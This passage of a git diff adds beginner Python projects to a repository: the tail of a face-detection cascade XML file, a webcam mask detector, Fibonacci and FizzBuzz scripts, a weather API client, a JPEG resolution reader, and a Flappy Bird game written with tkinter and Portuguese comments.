6 5 2. + <_> + 12 9 6 5 2. + <_> + + <_> + 6 8 18 10 -1. + <_> + 15 8 9 5 2. + <_> + 6 13 9 5 2. + <_> + + <_> + 0 8 18 10 -1. + <_> + 0 8 9 5 2. + <_> + 9 13 9 5 2. + <_> + + <_> + 12 6 3 18 -1. + <_> + 12 12 3 6 3. + <_> + + <_> + 0 14 18 3 -1. + <_> + 0 15 18 1 3. + <_> + + <_> + 12 6 3 18 -1. + <_> + 12 12 3 6 3. + <_> + + <_> + 9 6 3 18 -1. + <_> + 9 12 3 6 3. + <_> + + <_> + 6 14 18 3 -1. + <_> + 6 15 18 1 3. + <_> + + <_> + 0 5 18 3 -1. + <_> + 0 6 18 1 3. + <_> + + <_> + 2 5 22 3 -1. + <_> + 2 6 22 1 3. + <_> + + <_> + 0 0 21 10 -1. + <_> + 7 0 7 10 3. + <_> + + <_> + 6 3 18 17 -1. + <_> + 12 3 6 17 3. + <_> + + <_> + 0 3 18 17 -1. + <_> + 6 3 6 17 3. + <_> + + <_> + 0 12 24 11 -1. + <_> + 8 12 8 11 3. + <_> + + <_> + 4 10 16 6 -1. + <_> + 4 13 16 3 2. + <_> + + <_> + 12 8 6 8 -1. + <_> + 12 12 6 4 2. + <_> + + <_> + 6 14 8 7 -1. + <_> + 10 14 4 7 2. + <_> + + <_> + 15 10 6 14 -1. + <_> + 18 10 3 7 2. + <_> + 15 17 3 7 2. + <_> + + <_> + 3 10 6 14 -1. + <_> + 3 10 3 7 2. + <_> + 6 17 3 7 2. + <_> + + <_> + 6 12 18 2 -1. + <_> + 6 13 18 1 2. + <_> + + <_> + 5 8 10 6 -1. + <_> + 5 10 10 2 3. + <_> + + <_> + 12 11 9 4 -1. + <_> + 12 13 9 2 2. + <_> + + <_> + 0 11 9 6 -1. + <_> + 0 13 9 2 3. + <_> + + <_> + 11 2 3 18 -1. + <_> + 12 2 1 18 3. + <_> + + <_> + 10 2 3 18 -1. + <_> + 11 2 1 18 3. + <_> + + <_> + 9 12 6 10 -1. + <_> + 11 12 2 10 3. + <_> + + <_> + 1 10 6 9 -1. + <_> + 1 13 6 3 3. + <_> + + <_> + 6 9 16 6 -1. + <_> + 14 9 8 3 2. + <_> + 6 12 8 3 2. + <_> + + <_> + 1 8 9 6 -1. + <_> + 1 10 9 2 3. + <_> + + <_> + 7 7 16 6 -1. + <_> + 7 9 16 2 3. + <_> + + <_> + 0 0 18 3 -1. + <_> + 0 1 18 1 3. + <_> + + <_> + 10 0 6 9 -1. + <_> + 12 0 2 9 3. + <_> + + <_> + 9 5 6 6 -1. + <_> + 12 5 3 6 2. + <_> + + <_> + 10 6 4 18 -1. + <_> + 12 6 2 9 2. + <_> + 10 15 2 9 2. + <_> + + <_> + 8 0 6 9 -1. + <_> + 10 0 2 9 3. + <_> + + <_> + 9 1 6 9 -1. + <_> + 9 4 6 3 3. + <_> + + <_> + 1 0 18 9 -1. + <_> + 1 3 18 3 3. + <_> + + <_> + 0 3 24 3 -1. + <_> + 0 4 24 1 3. + <_> + + <_> + 6 14 9 4 -1. + <_> + 6 16 9 2 2. + <_> + + <_> + 8 9 8 10 -1. + <_> + 12 9 4 5 2. + <_> + 8 14 4 5 2. + <_> + + <_> + 5 2 13 9 -1. + <_> + 5 5 13 3 3. + <_> + + <_> + 4 4 16 9 -1. + <_> + 4 7 16 3 3. + <_> + + <_> + 4 4 14 9 -1. + <_> + 4 7 14 3 3. + <_> + + <_> + 8 5 9 6 -1. + <_> + 8 7 9 2 3. + <_> + + <_> + 1 7 16 6 -1. + <_> + 1 9 16 2 3. + <_> + + <_> + 10 5 13 9 -1. + <_> + 10 8 13 3 3. + <_> + + <_> + 1 5 13 9 -1. + <_> + 1 8 13 3 3. + <_> + + <_> + 0 4 24 6 -1. + <_> + 12 4 12 3 2. + <_> + 0 7 12 3 2. + <_> + + <_> + 1 14 10 9 -1. + <_> + 1 17 10 3 3. + <_> + + <_> + 5 17 18 3 -1. + <_> + 5 18 18 1 3. + <_> + + <_> + 0 16 18 3 -1. + <_> + 0 17 18 1 3. + <_> + + <_> + 9 17 9 6 -1. + <_> + 9 19 9 2 3. + <_> + + <_> + 1 20 22 4 -1. + <_> + 1 20 11 2 2. + <_> + 12 22 11 2 2. + <_> + + <_> + 8 14 8 6 -1. + <_> + 8 17 8 3 2. + <_> + + <_> + 8 6 8 15 -1. + <_> + 8 11 8 5 3. + <_> + + <_> + 5 4 18 3 -1. + <_> + 5 5 18 1 3. + <_> + + <_> + 9 3 5 10 -1. + <_> + 9 8 5 5 2. + <_> + + <_> + 6 8 12 3 -1. + <_> + 6 8 6 3 2. + <_> + + <_> + 2 6 18 6 -1. + <_> + 2 6 9 3 2. + <_> + 11 9 9 3 2. + <_> + + <_> + 10 6 4 18 -1. + <_> + 12 6 2 9 2. + <_> + 10 15 2 9 2. + <_> + + <_> + 7 5 6 6 -1. + <_> + 10 5 3 6 2. + <_> + + <_> + 14 5 2 18 -1. + <_> + 14 14 2 9 2. + <_> + + <_> + 8 5 2 18 -1. + <_> + 8 14 2 9 2. + <_> + + <_> + 9 2 10 6 -1. + <_> + 9 2 5 6 2. + <_> + + <_> + 3 1 18 12 -1. + <_> + 12 1 9 12 2. + <_> + + <_> + 5 2 17 22 -1. + <_> + 5 13 17 11 2. + <_> + + <_> + 4 0 12 6 -1. + <_> + 4 2 12 2 3. + <_> + + <_> + 6 9 16 6 -1. + <_> + 14 9 8 3 2. + <_> + 6 12 8 3 2. + <_> + + <_> + 9 0 5 18 -1. + <_> + 9 9 5 9 2. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 6 0 6 9 -1. + <_> + 8 0 2 9 3. + <_> + + <_> + 9 1 6 12 -1. + <_> + 11 1 2 12 3. + <_> + + <_> + 5 9 13 4 -1. + <_> + 5 11 13 2 2. + <_> + + <_> + 5 8 19 3 -1. + <_> + 5 9 19 1 3. + <_> + + <_> + 9 9 6 8 -1. + <_> + 9 13 6 4 2. + <_> + + <_> + 11 9 4 15 -1. + <_> + 11 14 4 5 3. + <_> + + <_> + 2 0 6 14 -1. + <_> + 2 0 3 7 2. + <_> + 5 7 3 7 2. + <_> + + <_> + 15 1 6 14 -1. + <_> + 18 1 3 7 2. + <_> + 15 8 3 7 2. + <_> + + <_> + 3 1 6 14 -1. + <_> + 3 1 3 7 2. + <_> + 6 8 3 7 2. + <_> + + <_> + 3 20 18 4 -1. + <_> + 12 20 9 2 2. + <_> + 3 22 9 2 2. + <_> + + <_> + 5 0 4 20 -1. + <_> + 5 0 2 10 2. + <_> + 7 10 2 10 2. + <_> + + <_> + 16 8 8 12 -1. + <_> + 20 8 4 6 2. + <_> + 16 14 4 6 2. + <_> + + <_> + 0 8 8 12 -1. + <_> + 0 8 4 6 2. + <_> + 4 14 4 6 2. + <_> + + <_> + 13 13 10 8 -1. + <_> + 18 13 5 4 2. + <_> + 13 17 5 4 2. + <_> + + <_> + 1 13 10 8 -1. + <_> + 1 13 5 4 2. + <_> + 6 17 5 4 2. + <_> + + <_> + 15 8 4 15 -1. + <_> + 15 13 4 5 3. + <_> + + <_> + 5 8 4 15 -1. + <_> + 5 13 4 5 3. + <_> + + <_> + 6 11 16 12 -1. + <_> + 6 15 16 4 3. + <_> + + <_> + 2 11 16 12 -1. + <_> + 2 15 16 4 3. + <_> + + <_> + 14 12 7 9 -1. + <_> + 14 15 7 3 3. + <_> + + <_> + 10 1 3 21 -1. + <_> + 10 8 3 7 3. + <_> + + <_> + 13 11 9 4 -1. + <_> + 13 13 9 2 2. + <_> + + <_> + 3 10 17 9 -1. + <_> + 3 13 17 3 3. + <_> + + <_> + 13 8 8 15 -1. + <_> + 13 13 8 5 3. + <_> + + <_> + 3 8 8 15 -1. + <_> + 3 13 8 5 3. + <_> + + <_> + 11 14 10 8 -1. + <_> + 16 14 5 4 2. + <_> + 11 18 5 4 2. + <_> + + <_> + 0 18 22 6 -1. + <_> + 0 18 11 3 2. + <_> + 11 21 11 3 2. + <_> + + <_> + 0 16 24 4 -1. + <_> + 0 16 12 4 2. + <_> + + <_> + 6 20 12 3 -1. + <_> + 12 20 6 3 2. + <_> + + <_> + 18 12 6 12 -1. + <_> + 21 12 3 6 2. + <_> + 18 18 3 6 2. + <_> + + <_> + 0 12 6 12 -1. + <_> + 0 12 3 6 2. + <_> + 3 18 3 6 2. + <_> + + <_> + 15 17 9 6 -1. + <_> + 15 19 9 2 3. + <_> + + <_> + 1 6 22 10 -1. + <_> + 1 6 11 5 2. + <_> + 12 11 11 5 2. + <_> + + <_> + 15 17 9 6 -1. + <_> + 15 19 9 2 3. + <_> + + <_> + 0 18 18 2 -1. + <_> + 0 19 18 1 2. + <_> + + <_> + 3 15 19 3 -1. + <_> + 3 16 19 1 3. + <_> + + <_> + 0 13 18 3 -1. + <_> + 0 14 18 1 3. + <_> + + <_> + 15 17 9 6 -1. + <_> + 15 19 9 2 3. + <_> + + <_> + 0 17 9 6 -1. + <_> + 0 19 9 2 3. + <_> + + <_> + 12 17 9 6 -1. + <_> + 12 19 9 2 3. + <_> + + <_> + 3 17 9 6 -1. + <_> + 3 19 9 2 3. + <_> + + <_> + 16 2 3 20 -1. + <_> + 17 2 1 20 3. + <_> + + <_> + 0 13 24 8 -1. + <_> + 0 17 24 4 2. + <_> + + <_> + 9 1 6 22 -1. + <_> + 12 1 3 11 2. + <_> + 9 12 3 11 2. + diff --git a/Face_Mask_detection (haarcascade)/Resources/keras_model.h5 b/Face_Mask_detection (haarcascade)/Resources/keras_model.h5 new file mode 100644 index 00000000000..16bf60760f2 Binary files /dev/null and b/Face_Mask_detection (haarcascade)/Resources/keras_model.h5 differ diff --git a/Face_Mask_detection (haarcascade)/mask_detection.py b/Face_Mask_detection (haarcascade)/mask_detection.py new file mode 100644 index 00000000000..99396d5576f --- /dev/null +++ b/Face_Mask_detection (haarcascade)/mask_detection.py @@ -0,0 +1,41 @@ +import tensorflow.keras +import numpy as np +import cv2 + +# import os + +str = "" +faceCascade = cv2.CascadeClassifier("Resources/haarcascade_frontalface_default.xml") + +np.set_printoptions(suppress=True) +model = tensorflow.keras.models.load_model("Resources/keras_model.h5") +data = np.ndarray(shape=(1, 224, 224, 3), dtype=np.float32) + + +cap = cv2.VideoCapture(0) +cap.set(3, 640) +cap.set(4, 480) +while True: + success, img = cap.read() + + cv2.imshow("webcam", img) + faces = faceCascade.detectMultiScale(img, 1.1, 4) + + for x, y, w, h in faces: + crop_img = img[y : y + h, x : x + w] + crop_img = cv2.resize(crop_img, (224, 224)) + normalized_image_array = (crop_img.astype(np.float32) / 127.0) - 1 + data[0] = normalized_image_array + prediction = model.predict(data) + print(prediction) + if prediction[0][0] > prediction[0][1]: + str = "Mask" + else: + str = "Without-mask" + + cv2.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), 2) + cv2.putText(img, str, (x, y), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 150, 0), 1) + cv2.imshow("Result", img) + + if cv2.waitKey(1) & 0xFF == ord("q"): + break diff --git a/FibonacciNumbersWithGenerators.py b/FibonacciNumbersWithGenerators.py new file mode 100644 index 00000000000..15771630222 --- /dev/null +++ b/FibonacciNumbersWithGenerators.py @@ -0,0 +1,19 @@ +def fibonacci_generator(n=None): + """ + Generating function up to n fibonacci numbers iteratively + Params: + n: int + Return: + int + """ + f0, f1 = 0, 1 + yield f1 + while n == None or n > 1: + fn = f0 + f1 + yield fn + f0, f1 = f1, fn + n -= 1 + + +for n_fibo in fibonacci_generator(7): + print(n_fibo) diff --git a/Fibonacci_sequence_recursive_sol.py b/Fibonacci_sequence_recursive_sol.py new file mode 100644 index 00000000000..01a508518dc --- /dev/null +++ b/Fibonacci_sequence_recursive_sol.py @@ -0,0 +1,11 @@ +def fib(term): + if term <= 1: + return term + else: + return fib(term - 1) + fib(term - 2) + + +# Change this value to adjust the number of terms in the sequence. +number_of_terms = int(input()) +for i in range(number_of_terms): + print(fib(i)) diff --git a/Find current weather of any city using openweathermap API.py b/Find current weather of any city using openweathermap API.py new file mode 100644 index 00000000000..c5848559880 --- /dev/null +++ b/Find current weather of any city using openweathermap API.py @@ -0,0 +1,73 @@ +# Python program to find current +# weather details of any city +# using openweathermap api + +# import required modules +import requests + +# Enter your API key here +api_key = "Your_API_Key" + +# base_url variable to store url +base_url = "http://api.openweathermap.org/data/2.5/weather?" + +# Give city name +city_name = input("Enter city name : ") + +# complete_url variable to store +# complete url address +complete_url = base_url + "appid=" + api_key + "&q=" + city_name + +# get method of requests module +# return response object +response = requests.get(complete_url) + +# json method of response object +# convert json format data into +# python format data +x = response.json() + +# Now x contains list of nested dictionaries +# Check the value of "cod" key is equal to +# "404", means city is found otherwise, +# city is not found +if x["cod"] != "404": + # store the value of "main" + # key in variable y + y = x["main"] + + # store the value corresponding + # to the "temp" key of y + current_temperature = y["temp"] + + # store the value corresponding + # to the "pressure" key of y + current_pressure = y["pressure"] + + # store the value corresponding + # to the "humidity" key of y + current_humidiy = y["humidity"] + + # store the value of "weather" + # key in variable z + z = x["weather"] + + # store the value corresponding + # to the "description" key at + # the 0th index of z + weather_description = z[0]["description"] + + # print following values + print( + " Temperature (in kelvin unit) = " + + str(current_temperature) + + "\n atmospheric pressure (in hPa unit) = " + + str(current_pressure) + + "\n humidity (in percentage) = " + + str(current_humidiy) + + "\n description = " + + str(weather_description) + ) + +else: + print(" City Not Found ") diff --git a/FindingResolutionOfAnImage.py b/FindingResolutionOfAnImage.py new file mode 100644 index 00000000000..6bc312b245d --- /dev/null +++ b/FindingResolutionOfAnImage.py @@ -0,0 +1,24 @@ +def jpeg_res(filename): + """ "This function prints the resolution of the jpeg image file passed into it""" + + # open image for reading in binary mode + with open(filename, "rb") as img_file: + # height of image (in 2 bytes) is at 164th position + img_file.seek(163) + + # read the 2 bytes + a = img_file.read(2) + + # calculate height + height = (a[0] << 8) + a[1] + + # next 2 bytes is width + a = img_file.read(2) + + # calculate width + width = (a[0] << 8) + a[1] + + print("The resolution of the image is", width, "x", height) + + +jpeg_res("img1.jpg") diff --git a/FizzBuzz.py b/FizzBuzz.py new file mode 100644 index 00000000000..cf8caba4c4e --- /dev/null +++ b/FizzBuzz.py @@ -0,0 +1,21 @@ +# FizzBuzz +# A program that prints the numbers from 1 to num (User given number)! +# For multiples of ‘3’ print “Fizz” instead of the number. +# For the multiples of ‘5’ print “Buzz”. +# If the number is divisible by both 3 and 5 then print "FizzBuzz". +# If none of the given conditions are true then just print the number! + + +def FizzBuzz(num): + for i in range(1, num + 1): + if i % 3 == 0 and i % 5 == 0: + print("FizzBuzz") + elif i % 3 == 0: + print("Fizz") + elif i % 5 == 0: + print("Buzz") + else: + print(i) + + +FizzBuzz(20) # prints FizzBuzz up to 20 diff --git a/Flappy Bird - created with tkinter/.gitignore b/Flappy Bird - created with tkinter/.gitignore new file mode 100644 index 00000000000..45f6d8e74e1 --- /dev/null +++ b/Flappy Bird - created with tkinter/.gitignore @@ -0,0 +1 @@ +Data \ No newline at end of file diff --git a/Flappy Bird - created with tkinter/Background.py b/Flappy Bird - created with tkinter/Background.py new file mode 100644 index 00000000000..582f2287491 --- /dev/null +++ b/Flappy Bird - created with tkinter/Background.py @@ -0,0 +1,179 @@ +from tkinter import Tk, Canvas + +from PIL.Image import open as openImage +from PIL.ImageTk import PhotoImage + + +class Background(Canvas): + """ + Classe para gerar um plano de fundo animado + """ + + __background = [] + __stop = False + + def __init__(self, tk_instance, *geometry, fp="background.png", animation_speed=50): + # Verifica se o parâmetro tk_instance é uma instância de Tk + if not isinstance(tk_instance, Tk): + raise TypeError("The tk_instance argument must be an instance of Tk.") + + # Recebe o caminho de imagem e a velocidade da animação + self.image_path = fp + self.animation_speed = animation_speed + + # Recebe a largura e altura do widget + self.__width = geometry[0] + self.__height = geometry[1] + + # Inicializa o construtor da classe Canvas + Canvas.__init__( + self, master=tk_instance, width=self.__width, height=self.__height + ) + + # Carrega a imagem que será usada no plano de fundo + self.__bg_image = self.getPhotoImage( + image_path=self.image_path, + width=self.__width, + height=self.__height, + closeAfter=True, + )[0] + + # Cria uma imagem que será fixa, ou seja, que não fará parte da animação e serve em situações de bugs na animação + self.__background_default = self.create_image( + self.__width // 2, self.__height // 2, image=self.__bg_image + ) + + # Cria as imagens que serão utilizadas na animação do background + self.__background.append( + self.create_image( + self.__width // 2, self.__height // 2, image=self.__bg_image + ) + ) + self.__background.append( + self.create_image( + self.__width + (self.__width // 2), + self.__height // 2, + image=self.__bg_image, + ) + ) + + def getBackgroundID(self): + """ + Retorna os id's das imagens de background + """ + return [self.__background_default, *self.__background] + + @staticmethod + def getPhotoImage( + image=None, image_path=None, width=None, height=None, closeAfter=False + ): + """ + Retorna um objeto da classe PIL.ImageTk.PhotoImage de uma imagem e as imagens criadas de PIL.Image + (photoImage, new, original) + + @param image: Instância de PIL.Image.open + @param image_path: Diretório da imagem + @param width: Largura da imagem + @param height: Altura da imagem + @param closeAfter: Se True, a imagem será fechada após ser criado um PhotoImage da mesma + """ + + if not image: + if not image_path: + return + + # Abre a imagem utilizando o caminho dela + image = openImage(image_path) + + # Será redimesionada a imagem somente se existir um width ou height + if not width: + width = image.width + if not height: + height = image.height + + # Cria uma nova imagem já redimensionada + newImage = image.resize([width, height]) + + # Cria um photoImage + photoImage = PhotoImage(newImage) + + # Se closeAfter for True, ele fecha as imagens + if closeAfter: + # Fecha a imagem nova + newImage.close() + newImage = None + + # Fecha a imagem original + image.close() + image = None + + # Retorna o PhotoImage da imagem,a nova imagem que foi utilizada e a imagem original + return photoImage, newImage, image + + def reset(self): + """ + Método para resetar o background, apagando todos os itens que não sejam o plano de fundo + """ + + # Deleta todos os itens do canvas + self.delete("all") + + # Para a animação passando False para o atributo "stop" + self.__stop = False + + # Limpa a lista de imagens usadas na animação + self.__background.clear() + + # Cria uma imagem que será fixa, ou seja, que não fará parte da animação e serve em situações de bugs na animação + self.__background_default = self.create_image( + self.__width // 2, self.__height // 2, image=self.__bg_image + ) + + # Cria as imagens que serão utilizadas na animação do background + self.__background.append( + self.create_image( + self.__width // 2, self.__height // 2, image=self.__bg_image + ) + ) + self.__background.append( + self.create_image( + self.__width + (self.__width // 2), + self.__height // 2, + image=self.__bg_image, + ) + ) + + def run(self): + """ + Método para iniciar a animação do background + """ + + # Enquanto o atributo "stop" for False, a animação continuará em um loop infinito + if not self.__stop: + # Move as imagens de background na posição X + self.move(self.__background[0], -10, 0) + self.move(self.__background[1], -10, 0) + self.tag_lower(self.__background[0]) + self.tag_lower(self.__background[1]) + self.tag_lower(self.__background_default) + + # Se a primeira imagem da lista tiver saído da área do widget, uma nova será criada depois da segunda imagem + if self.bbox(self.__background[0])[2] <= 0: + # Deleta a primeira imagem da lista (imagem que saiu da área do widget) + self.delete(self.__background[0]) + self.__background.remove(self.__background[0]) + + # Cria uma nova imagem a partir da última imagem da animação + width = self.bbox(self.__background[0])[2] + self.__width // 2 + self.__background.append( + self.create_image(width, self.__height // 2, image=self.__bg_image) + ) + + # Executa novamente o método depois de um certo tempo + self.after(self.animation_speed, self.run) + + def stop(self): + """ + Método para parar a animação do background + """ + self.__stop = True diff --git a/Flappy Bird - created with tkinter/Bird.py b/Flappy Bird - created with tkinter/Bird.py new file mode 100644 index 00000000000..69f532db65e --- /dev/null +++ b/Flappy Bird - created with tkinter/Bird.py @@ -0,0 +1,251 @@ +from threading import Thread + +from Background import Background +from PIL.Image import open as openImage +from PIL.ImageTk import PhotoImage + + +class Bird(Thread): + """ + Classe para criar um pássaro + """ + + __tag = "Bird" + __isAlive = None + __going_up = False + __going_down = 0 + __times_skipped = 0 + __running = False + + decends = 0.00390625 + climbsUp = 0.0911458333 + + def __init__( + self, + background, + gameover_function, + *screen_geometry, + fp="bird.png", + event="", + descend_speed=5, + ): + # Verifica se "background" é uma instância de Background e se o "gamerover_method" é chamável + + if not isinstance(background, Background): + raise TypeError( + "The background argument must be an instance of Background." + ) + if not callable(gameover_function): + raise TypeError("The gameover_method argument must be a callable object.") + + # Instância os parâmetros + self.__canvas = background + self.image_path = fp + self.__descend_speed = descend_speed + self.gameover_method = gameover_function + + # Recebe a largura e altura do background + self.__width = screen_geometry[0] + self.__height = screen_geometry[1] + + # Define a decida e subida do pássaro com base na altura do background + self.decends *= self.__height + self.decends = int(self.decends + 0.5) + self.climbsUp *= self.__height + self.climbsUp = int(self.climbsUp + 0.5) + + # Invoca o método construtor de Thread + Thread.__init__(self) + + # Calcula o tamanho do pássaro com base na largura e altura da janela + self.width = (self.__width // 100) * 6 + self.height = (self.__height // 100) * 11 + + # Carrega e cria a imagem do pássaro no background + self.__canvas.bird_image = self.getPhotoImage( + image_path=self.image_path, + width=self.width, + height=self.height, + closeAfter=True, + )[0] + self.__birdID = self.__canvas.create_image( + self.__width // 2, + self.__height // 2, + image=self.__canvas.bird_image, + tag=self.__tag, + ) + + # Define evento para fazer o pássaro subir + self.__canvas.focus_force() + self.__canvas.bind(event, self.jumps) + self.__isAlive = True + + def birdIsAlive(self): + """ + Método para verificar se o pássaro está vivo + """ + + return self.__isAlive + + def checkCollision(self): + """ + Método para verificar se o pássaro ultrapassou a borda da janela ou colidiu com algo + """ + + # Recebe a posição do pássaro no background + position = list(self.__canvas.bbox(self.__tag)) + + # Se o pássaro tiver ultrapassado a borda de baixo do background, ele será declarado morto + if position[3] >= self.__height + 20: + self.__isAlive = False + + # Se o pássaro tiver ultrapassado a borda de cima do background, ele será declarado morto + if position[1] <= -20: + self.__isAlive = False + + # Dá uma margem de erro ao pássaro de X pixels + position[0] += int(25 / 78 * self.width) + position[1] += int(25 / 77 * self.height) + position[2] -= int(20 / 78 * self.width) + position[3] -= int(10 / 77 * self.width) + + # Define os objetos a serem ignorados em colisões + ignored_collisions = self.__canvas.getBackgroundID() + ignored_collisions.append(self.__birdID) + + # Verifica possíveis colisões com o pássaro + possible_collisions = list(self.__canvas.find_overlapping(*position)) + + # Remove das possíveis colisões os objetos ignorados + for _id in ignored_collisions: + try: + possible_collisions.remove(_id) + except BaseException: + continue + + # Se houver alguma colisão o pássaro morre + if len(possible_collisions) >= 1: + self.__isAlive = False + + return not self.__isAlive + + def getTag(self): + """ + Método para retornar a tag do pássaro + """ + + return self.__tag + + @staticmethod + def getPhotoImage( + image=None, image_path=None, width=None, height=None, closeAfter=False + ): + """ + Retorna um objeto da classe PIL.ImageTk.PhotoImage de uma imagem e as imagens criadas de PIL.Image + (photoImage, new, original) + + @param image: Instância de PIL.Image.open + @param image_path: Diretório da imagem + @param width: Largura da imagem + @param height: Altura da imagem + @param closeAfter: Se True, a imagem será fechada após ser criado um PhotoImage da mesma + """ + + if not image: + if not image_path: + return + + # Abre a imagem utilizando o caminho dela + image = openImage(image_path) + + # Será redimesionada a imagem somente se existir um width ou height + if not width: + width = image.width + if not height: + height = image.height + + # Cria uma nova imagem já redimensionada + newImage = image.resize([width, height]) + + # Cria um photoImage + photoImage = PhotoImage(newImage) + + # Se closeAfter for True, ele fecha as imagens + if closeAfter: + # Fecha a imagem nova + newImage.close() + newImage = None + + # Fecha a imagem original + image.close() + image = None + + # Retorna o PhotoImage da imagem,a nova imagem que foi utilizada e a imagem original + return photoImage, newImage, image + + def jumps(self, event=None): + """ + Método para fazer o pássaro pular + """ + + # Verifica se o pássaro saiu da área do background + self.checkCollision() + + # Se o pássaro estiver morto, esse método não pode ser executado + if not self.__isAlive or not self.__running: + self.__going_up = False + return + + # Declara que o pássaro está subindo + self.__going_up = True + self.__going_down = 0 + + # Move o pássaro enquanto o limite de subida por animação não tiver excedido + if self.__times_skipped < self.climbsUp: + # Move o pássaro para cima + self.__canvas.move(self.__tag, 0, -1) + self.__times_skipped += 1 + + # Executa o método novamente + self.__canvas.after(3, self.jumps) + + else: + # Declara que o pássaro não está mais subindo + self.__going_up = False + self.__times_skipped = 0 + + def kill(self): + """ + Método para matar o pássaro + """ + + self.__isAlive = False + + def run(self): + """ + #Método para iniciar a animação do passáro caindo + """ + + self.__running = True + + # Verifica se o pássaro saiu da área do background + self.checkCollision() + + # Enquanto o pássaro não tiver chegado em sua velocidade máxima, a velocidade aumentará em 0.05 + if self.__going_down < self.decends: + self.__going_down += 0.05 + + # Executa a animação de descida somente se o pássaro estiver vivo + if self.__isAlive: + # Executa a animação de descida somente se o pássaro não estiver subindo + if not self.__going_up: + # Move o pássaro para baixo + self.__canvas.move(self.__tag, 0, self.__going_down) + + # Executa novamente o método + self.__canvas.after(self.__descend_speed, self.run) + + # Se o pássaro estiver morto, será executado um método de fim de jogo + else: + self.__running = False + self.gameover_method() diff --git a/Flappy Bird - created with tkinter/Flappy Bird.py b/Flappy Bird - created with tkinter/Flappy Bird.py new file mode 100644 index 00000000000..a082e3ec1cb --- /dev/null +++ b/Flappy Bird - created with tkinter/Flappy Bird.py @@ -0,0 +1,92 @@ +import pygame +import random + +# Initialize Pygame +pygame.init() + +# Set up display +screen_width = 500 +screen_height = 700 +screen = pygame.display.set_mode((screen_width, screen_height)) +pygame.display.set_caption("Flappy Bird") + +# Load images +bird_image = pygame.image.load("bird.png").convert_alpha() +pipe_image = pygame.image.load("pipe.png").convert_alpha() +background_image = pygame.image.load("background.png").convert_alpha() + + +# Bird class +class Bird: + def __init__(self): + self.image = bird_image + self.x = 50 + self.y = screen_height // 2 + self.vel = 0 + self.gravity = 1 + + def update(self): + self.vel += self.gravity + self.y += self.vel + + def flap(self): + self.vel = -10 + + def draw(self, screen): + screen.blit(self.image, (self.x, self.y)) + + +# Pipe class +class Pipe: + def __init__(self): + self.image = pipe_image + self.x = screen_width + self.y = random.randint(150, screen_height - 150) + self.vel = 5 + + def update(self): + self.x -= self.vel + + def draw(self, screen): + screen.blit(self.image, (self.x, self.y)) + screen.blit( + pygame.transform.flip(self.image, False, True), + (self.x, self.y - screen_height), + ) + + +def main(): + clock = pygame.time.Clock() + bird = Bird() + pipes = [Pipe()] + score = 0 + + running = True + while running: + for event in pygame.event.get(): + if event.type == pygame.QUIT: + running = False + if event.type == pygame.KEYDOWN and event.key == pygame.K_SPACE: + bird.flap() + + bird.update() + for pipe in pipes: + pipe.update() + if pipe.x + pipe.image.get_width() < 0: + pipes.remove(pipe) + pipes.append(Pipe()) + score += 1 + + screen.blit(background_image, (0, 0)) + bird.draw(screen) + for pipe in pipes: + pipe.draw(screen) + + pygame.display.update() + clock.tick(30) + + pygame.quit() + + +if __name__ == "__main__": + main() diff --git a/Flappy Bird - created with tkinter/Images/background.png b/Flappy Bird - created with tkinter/Images/background.png new file mode 100644 index 00000000000..c62f59726e5 Binary files /dev/null and b/Flappy Bird - created with tkinter/Images/background.png differ diff --git a/Flappy Bird - created with tkinter/Images/bird.png b/Flappy Bird - created with tkinter/Images/bird.png new file mode 100644 index 00000000000..a237031cddf Binary files /dev/null and b/Flappy Bird - created with tkinter/Images/bird.png differ diff --git a/Flappy Bird - created with tkinter/Images/exit_button.png b/Flappy Bird - created with tkinter/Images/exit_button.png new file mode 100644 index 00000000000..92ff0c36c65 Binary files /dev/null and b/Flappy Bird - created with tkinter/Images/exit_button.png differ diff --git a/Flappy Bird - created with tkinter/Images/original_background.png b/Flappy Bird - created with tkinter/Images/original_background.png new file mode 100644 index 00000000000..03fb5262e9b Binary files /dev/null and b/Flappy Bird - created with tkinter/Images/original_background.png differ diff --git a/Flappy Bird - created with tkinter/Images/scoreboard.png b/Flappy Bird - created with tkinter/Images/scoreboard.png new file mode 100644 index 00000000000..ea078224f5f Binary files /dev/null and b/Flappy Bird - created with tkinter/Images/scoreboard.png differ diff --git a/Flappy Bird - created with tkinter/Images/start_button.png b/Flappy Bird - created with tkinter/Images/start_button.png new file mode 100644 index 00000000000..a6426a44381 Binary files /dev/null and b/Flappy Bird - created with tkinter/Images/start_button.png differ diff --git a/Flappy Bird - created with tkinter/Images/title.png b/Flappy Bird - created with tkinter/Images/title.png new file mode 100644 index 00000000000..8ed7a4949df Binary files /dev/null and b/Flappy Bird - created with tkinter/Images/title.png differ diff --git a/Flappy Bird - created with tkinter/Images/tube.png b/Flappy Bird - created with tkinter/Images/tube.png new file mode 100644 index 00000000000..14dc06e3ca4 Binary files /dev/null and b/Flappy Bird - created with tkinter/Images/tube.png differ diff --git a/Flappy Bird - created with tkinter/Images/tube_mouth.png b/Flappy Bird - created with tkinter/Images/tube_mouth.png new file mode 100644 index 00000000000..806ba0f8cb4 Binary files /dev/null and b/Flappy Bird - created with tkinter/Images/tube_mouth.png differ diff --git a/Flappy Bird - created with tkinter/README.md b/Flappy Bird - created with tkinter/README.md new file mode 100644 index 00000000000..25dbb8e6060 --- /dev/null +++ b/Flappy Bird - created with tkinter/README.md @@ -0,0 +1,12 @@ +# Description: +This is a simple game created with tkinter.
+Enjoy and do give feedback
+Warning: If the game is too slow, lower the game resolution in Data/settings.json + +# Requirements: +Tkinter +```bash +pip install tkinter +``` +PIL
+Python 3.x diff --git a/Flappy Bird - created with tkinter/Settings.py b/Flappy Bird - created with tkinter/Settings.py new file mode 100644 index 00000000000..7b7b72d9ad3 --- /dev/null +++ b/Flappy Bird - created with tkinter/Settings.py @@ -0,0 +1,114 @@ +import os +from json import dumps +from json import loads + + +class Settings(object): + """ + Classe com todas as configurações do jogo + """ + + # Configurações da janela + window_name = "Flappy Bird" + window_rz = (False, False) + window_fullscreen = True + window_width = None + window_height = None + + # Configurações dos botões + button_width = 22 + button_height = 17 + button_bg = "black" + button_fg = "white" + button_activebackground = "black" + button_font = ("Impact", 40) + button_position_y = 85 + button_cursor = "hand2" + + # Configurações da imagem do placar do jogador + scoreboard_width = 40 + scoreboard_height = 40 + scoreboard_position_y = 50 + + # Configurações de texto do placar + text_font = "Autumn" + text_fill = "White" + + # Configurações do título do jogo + title_width = 35 + title_height = 15 + title_position_y = 